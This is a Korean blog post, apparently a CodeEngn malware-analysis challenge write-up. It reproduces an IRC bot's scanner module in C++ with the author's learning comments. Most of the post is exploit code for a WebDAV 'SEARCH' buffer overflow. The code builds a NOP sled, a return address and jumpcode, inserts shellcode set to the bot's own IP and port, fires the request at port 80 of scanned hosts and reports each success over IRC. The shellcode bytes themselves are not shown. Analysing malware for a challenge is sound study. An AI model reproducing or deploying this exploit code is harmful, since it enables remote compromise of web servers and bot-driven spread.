2018. 1. 7. 09:32ㆍ0x06 Malware
여담 : 코드만 던져주는 문제라서 의식의 흐름대로 주석을 달면서 흐름을 파악해보았다.
그냥 눈에 보이는 대로 직독직해했다 하지만 운좋게 풀긴했다.
마치 CTF에서 랜섬웨어 문제에서 대놓고 나 랜섬웨어에요~ 라고 하듯이 혹은 최근에 페이스북 메시지 관련 마이너에서도
나 채굴기에요 라고 하드코딩 되어 있는 단어가 있었다.
여기서 추가적으로 알게 된 것은 내가 만약에 중요한 프로그램을 설계하게 되면 변수명 부터 신중하게 해야겠다는 생각도 가질 수 있었다.
// c++ 코드이다
// dav에 대해 검색을 한번 해봤는데 WebDAV라는 말이 나오고 XML이라는 말이 나왔다.
// 둘다 인증한번 해본다
// 예스~~~~ 악성코드 재밌다
// 음 인증은 성공했지만, 얻어걸린것이다. dav를 한번도 들어본적이 없다.
// 그래서 공부를 진행했다.
// webdav란?
// Web-based Distributed Authoring and versioning 이라고 하여
// 파일 공유 시 접속자들에게 간단하게 사용되는 프로토콜이라고 한다.
// ref: http://junewarehouse.blogspot.kr/2015/09/webdav.html
char body[]=
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
"</g:searchrequest>\r\n";
CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }
void CScannerMalware_L02::StartScan(const CString &sHost)
{ bool bSuccess=false;
if(ScanPort(sHost.CStr(), 80))
{ g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
bSuccess=Exploit(sHost); }
if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); }
bool CScannerMalware_L02::Exploit(const CString &sHost)
{ char szSCBuf[4096]; char szShellBuf[4096];
char *szReqBuf=(char*)malloc(100000); unsigned short ret=0xB102;
int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;
int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sSocket==-1) return false;
sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET; ssin.sin_port=htons(80); // 80 포트 이용
ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());
if(ssin.sin_addr.s_addr==INADDR_NONE)
{ free(szReqBuf); xClose(sSocket); return false; }
// IRC를 이용하는 악성코드로 추정된다.
// IRC BOT 인 것 같은데 인증 한번 해보자 으윽 아니었다
if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
else
iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
// shellcode 삽입
memset(szSCBuf+iPos, '\x90', iNOPSize ); iPos+=iNOPSize;
memcpy(szSCBuf+iPos, szShellBuf, iShellSize ); iPos+=iShellSize;
iSCSize=iPos; iPos=0;
memset(szReqBuf, 0, 100000);
strcpy(szReqBuf, "SEARCH /"); // search가 힌트가 될 수도?
int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }
for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));
// http
strcat(szReqBuf, " HTTP/1.1\r\n");
sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
strcat(szReqBuf, body); // 위에 선언 된 body를 szReqBuf에 붙이는 것으로 보아 어떠한 행위를 할 수도 있겠다는 생각이 듬
// szReqBuf에 대한 정보를 수집한 결과 nop sled도 있고 SEARCH / 라는 문자열도 들어가고 68번 라인에서든 WHILE문 안에서도 쓰이니까 왠지 냄새가 났음
memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
iReqSize=strlen(szReqBuf);
int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));
if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }
while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
if(rt) { xClose(sSocket); free(szReqBuf); return false; }
'0x06 Malware' 카테고리의 다른 글
CodeEngn Malware 04 (0) | 2018.01.07 |
---|---|
CodeEngn Malware 03 (0) | 2018.01.07 |
CodeEngn 01 Malware (0) | 2018.01.07 |
[Monero_ISSUE]_Author_c0nstant_Release (2) | 2017.12.22 |
테스트 (0) | 2017.12.19 |